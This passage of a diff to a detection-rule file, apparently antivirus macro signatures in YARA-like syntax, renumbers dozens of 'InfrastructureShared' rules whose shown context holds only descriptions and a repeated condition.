@@ rule _InfrastructureShared_21911{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21912{ +rule _InfrastructureShared_23196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288437,7 +304907,7 @@ rule _InfrastructureShared_21912{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21913{ +rule _InfrastructureShared_23197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288447,7 +304917,7 @@ rule _InfrastructureShared_21913{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21914{ +rule _InfrastructureShared_23198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288457,7 +304927,7 @@ rule _InfrastructureShared_21914{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21915{ +rule _InfrastructureShared_23199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288467,7 +304937,7 @@ rule _InfrastructureShared_21915{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21916{ +rule _InfrastructureShared_23200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288477,7 +304947,7 @@ rule _InfrastructureShared_21916{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21917{ +rule _InfrastructureShared_23201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288487,7 +304957,7 @@ rule _InfrastructureShared_21917{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21918{ +rule _InfrastructureShared_23202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288497,7 +304967,7 @@ rule _InfrastructureShared_21918{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21919{ +rule _InfrastructureShared_23203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288507,7 +304977,7 @@ rule _InfrastructureShared_21919{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21920{ +rule _InfrastructureShared_23204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288517,7 +304987,7 @@ rule _InfrastructureShared_21920{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21921{ +rule _InfrastructureShared_23205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288527,7 +304997,7 @@ rule _InfrastructureShared_21921{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21922{ +rule _InfrastructureShared_23206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288537,7 +305007,7 @@ rule _InfrastructureShared_21922{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21923{ +rule _InfrastructureShared_23207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288547,7 +305017,7 @@ rule _InfrastructureShared_21923{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21924{ +rule _InfrastructureShared_23208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288557,7 +305027,7 @@ rule _InfrastructureShared_21924{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21925{ +rule _InfrastructureShared_23209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288567,7 +305037,7 @@ rule _InfrastructureShared_21925{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21926{ +rule _InfrastructureShared_23210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288577,7 +305047,7 @@ rule _InfrastructureShared_21926{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21927{ +rule _InfrastructureShared_23211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288587,7 +305057,7 @@ rule _InfrastructureShared_21927{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21928{ +rule _InfrastructureShared_23212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288597,7 +305067,7 @@ rule _InfrastructureShared_21928{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21929{ +rule _InfrastructureShared_23213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288607,7 +305077,7 @@ rule _InfrastructureShared_21929{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21930{ +rule _InfrastructureShared_23214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288617,7 +305087,7 @@ rule _InfrastructureShared_21930{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21931{ +rule _InfrastructureShared_23215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288627,7 +305097,7 @@ rule _InfrastructureShared_21931{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21932{ +rule _InfrastructureShared_23216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288637,7 +305107,7 @@ rule _InfrastructureShared_21932{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21933{ +rule _InfrastructureShared_23217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288647,7 +305117,7 @@ rule _InfrastructureShared_21933{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21934{ +rule _InfrastructureShared_23218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288657,7 +305127,7 @@ rule _InfrastructureShared_21934{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21935{ +rule _InfrastructureShared_23219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288667,7 +305137,7 @@ rule _InfrastructureShared_21935{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21936{ +rule _InfrastructureShared_23220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288677,7 +305147,7 @@ rule _InfrastructureShared_21936{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21937{ +rule _InfrastructureShared_23221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288687,7 +305157,7 @@ rule _InfrastructureShared_21937{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21938{ +rule _InfrastructureShared_23222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288697,7 +305167,7 @@ rule _InfrastructureShared_21938{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21939{ +rule _InfrastructureShared_23223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288707,7 +305177,7 @@ rule _InfrastructureShared_21939{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21940{ +rule _InfrastructureShared_23224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288717,7 +305187,7 @@ rule _InfrastructureShared_21940{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21941{ +rule _InfrastructureShared_23225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288727,7 +305197,7 @@ rule _InfrastructureShared_21941{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21942{ +rule _InfrastructureShared_23226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288737,7 +305207,7 @@ rule _InfrastructureShared_21942{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21943{ +rule _InfrastructureShared_23227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288747,7 +305217,7 @@ rule _InfrastructureShared_21943{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21944{ +rule _InfrastructureShared_23228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288757,7 +305227,7 @@ rule _InfrastructureShared_21944{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21945{ +rule _InfrastructureShared_23229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288767,7 +305237,7 @@ rule _InfrastructureShared_21945{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21946{ +rule _InfrastructureShared_23230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288777,7 +305247,7 @@ rule _InfrastructureShared_21946{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21947{ +rule _InfrastructureShared_23231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288787,7 +305257,7 @@ rule _InfrastructureShared_21947{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21948{ +rule _InfrastructureShared_23232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288797,7 +305267,7 @@ rule _InfrastructureShared_21948{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21949{ +rule _InfrastructureShared_23233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288807,7 +305277,7 @@ rule _InfrastructureShared_21949{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21950{ +rule _InfrastructureShared_23234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288817,7 +305287,7 @@ rule _InfrastructureShared_21950{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21951{ +rule _InfrastructureShared_23235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288827,7 +305297,7 @@ rule _InfrastructureShared_21951{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21952{ +rule _InfrastructureShared_23236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288837,7 +305307,7 @@ rule _InfrastructureShared_21952{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21953{ +rule _InfrastructureShared_23237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288847,7 +305317,7 @@ rule _InfrastructureShared_21953{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21954{ +rule _InfrastructureShared_23238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288857,7 +305327,7 @@ rule _InfrastructureShared_21954{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21955{ +rule _InfrastructureShared_23239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288867,7 +305337,7 @@ rule _InfrastructureShared_21955{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21956{ +rule _InfrastructureShared_23240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288877,7 +305347,7 @@ rule _InfrastructureShared_21956{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21957{ +rule _InfrastructureShared_23241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288887,7 +305357,7 @@ rule _InfrastructureShared_21957{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21958{ +rule _InfrastructureShared_23242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288897,7 +305367,7 @@ rule _InfrastructureShared_21958{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21959{ +rule _InfrastructureShared_23243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288907,7 +305377,7 @@ rule _InfrastructureShared_21959{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21960{ +rule _InfrastructureShared_23244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288917,7 +305387,7 @@ rule _InfrastructureShared_21960{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21961{ +rule _InfrastructureShared_23245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288927,7 +305397,7 @@ rule _InfrastructureShared_21961{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21962{ +rule _InfrastructureShared_23246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288937,7 +305407,7 @@ rule _InfrastructureShared_21962{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21963{ +rule _InfrastructureShared_23247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288947,7 +305417,7 @@ rule _InfrastructureShared_21963{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21964{ +rule _InfrastructureShared_23248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288957,7 +305427,7 @@ rule _InfrastructureShared_21964{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21965{ +rule _InfrastructureShared_23249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288967,7 +305437,7 @@ rule _InfrastructureShared_21965{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21966{ +rule _InfrastructureShared_23250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288977,7 +305447,7 @@ rule _InfrastructureShared_21966{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21967{ +rule _InfrastructureShared_23251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288987,7 +305457,7 @@ rule _InfrastructureShared_21967{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21968{ +rule _InfrastructureShared_23252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288997,7 +305467,7 @@ rule _InfrastructureShared_21968{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21969{ +rule _InfrastructureShared_23253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289007,7 +305477,7 @@ rule _InfrastructureShared_21969{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21970{ +rule _InfrastructureShared_23254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289017,7 +305487,7 @@ rule _InfrastructureShared_21970{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21971{ +rule _InfrastructureShared_23255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289027,7 +305497,7 @@ rule _InfrastructureShared_21971{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21972{ +rule _InfrastructureShared_23256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289037,7 +305507,7 @@ rule _InfrastructureShared_21972{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21973{ +rule _InfrastructureShared_23257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289047,7 +305517,7 @@ rule _InfrastructureShared_21973{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21974{ +rule _InfrastructureShared_23258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289057,7 +305527,7 @@ rule _InfrastructureShared_21974{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21975{ +rule _InfrastructureShared_23259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289067,7 +305537,7 @@ rule _InfrastructureShared_21975{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21976{ +rule _InfrastructureShared_23260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289077,7 +305547,7 @@ rule _InfrastructureShared_21976{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21977{ +rule _InfrastructureShared_23261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289087,7 +305557,7 @@ rule _InfrastructureShared_21977{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21978{ +rule _InfrastructureShared_23262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289097,7 +305567,7 @@ rule _InfrastructureShared_21978{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21979{ +rule _InfrastructureShared_23263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289107,7 +305577,7 @@ rule _InfrastructureShared_21979{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21980{ +rule _InfrastructureShared_23264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289117,7 +305587,7 @@ rule _InfrastructureShared_21980{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21981{ +rule _InfrastructureShared_23265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289127,7 +305597,7 @@ rule _InfrastructureShared_21981{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21982{ +rule _InfrastructureShared_23266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289137,7 +305607,7 @@ rule _InfrastructureShared_21982{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21983{ +rule _InfrastructureShared_23267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289147,7 +305617,7 @@ rule _InfrastructureShared_21983{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21984{ +rule _InfrastructureShared_23268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289157,7 +305627,7 @@ rule _InfrastructureShared_21984{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21985{ +rule _InfrastructureShared_23269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289167,7 +305637,7 @@ rule _InfrastructureShared_21985{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21986{ +rule _InfrastructureShared_23270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289177,7 +305647,7 @@ rule _InfrastructureShared_21986{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21987{ +rule _InfrastructureShared_23271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289187,7 +305657,7 @@ rule _InfrastructureShared_21987{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21988{ +rule _InfrastructureShared_23272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289197,7 +305667,7 @@ rule _InfrastructureShared_21988{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21989{ +rule _InfrastructureShared_23273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289207,7 +305677,7 @@ rule _InfrastructureShared_21989{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21990{ +rule _InfrastructureShared_23274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289217,7 +305687,7 @@ rule _InfrastructureShared_21990{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21991{ +rule _InfrastructureShared_23275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289227,7 +305697,7 @@ rule _InfrastructureShared_21991{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21992{ +rule _InfrastructureShared_23276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289237,7 +305707,7 @@ rule _InfrastructureShared_21992{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21993{ +rule _InfrastructureShared_23277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289247,7 +305717,7 @@ rule _InfrastructureShared_21993{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21994{ +rule _InfrastructureShared_23278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289257,7 +305727,7 @@ rule _InfrastructureShared_21994{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21995{ +rule _InfrastructureShared_23279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289267,7 +305737,7 @@ rule _InfrastructureShared_21995{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21996{ +rule _InfrastructureShared_23280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289277,7 +305747,7 @@ rule _InfrastructureShared_21996{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21997{ +rule _InfrastructureShared_23281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289287,7 +305757,7 @@ rule _InfrastructureShared_21997{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21998{ +rule _InfrastructureShared_23282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289297,7 +305767,7 @@ rule _InfrastructureShared_21998{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21999{ +rule _InfrastructureShared_23283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289307,7 +305777,7 @@ rule _InfrastructureShared_21999{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22000{ +rule _InfrastructureShared_23284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289317,7 +305787,7 @@ rule _InfrastructureShared_22000{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22001{ +rule _InfrastructureShared_23285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289327,7 +305797,7 @@ rule _InfrastructureShared_22001{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22002{ +rule _InfrastructureShared_23286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289337,7 +305807,7 @@ rule _InfrastructureShared_22002{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22003{ +rule _InfrastructureShared_23287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289347,7 +305817,7 @@ rule _InfrastructureShared_22003{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22004{ +rule _InfrastructureShared_23288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289357,7 +305827,7 @@ rule _InfrastructureShared_22004{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22005{ +rule _InfrastructureShared_23289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289367,7 +305837,7 @@ rule _InfrastructureShared_22005{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22006{ +rule _InfrastructureShared_23290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289377,7 +305847,7 @@ rule _InfrastructureShared_22006{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22007{ +rule _InfrastructureShared_23291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289387,7 +305857,7 @@ rule _InfrastructureShared_22007{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22008{ +rule _InfrastructureShared_23292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289397,7 +305867,7 @@ rule _InfrastructureShared_22008{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22009{ +rule _InfrastructureShared_23293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289407,7 +305877,7 @@ rule _InfrastructureShared_22009{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22010{ +rule _InfrastructureShared_23294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289417,7 +305887,7 @@ rule _InfrastructureShared_22010{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22011{ +rule _InfrastructureShared_23295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289427,7 +305897,7 @@ rule _InfrastructureShared_22011{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22012{ +rule _InfrastructureShared_23296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289437,7 +305907,7 @@ rule _InfrastructureShared_22012{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22013{ +rule _InfrastructureShared_23297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289447,7 +305917,7 @@ rule _InfrastructureShared_22013{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22014{ +rule _InfrastructureShared_23298{ meta: description = 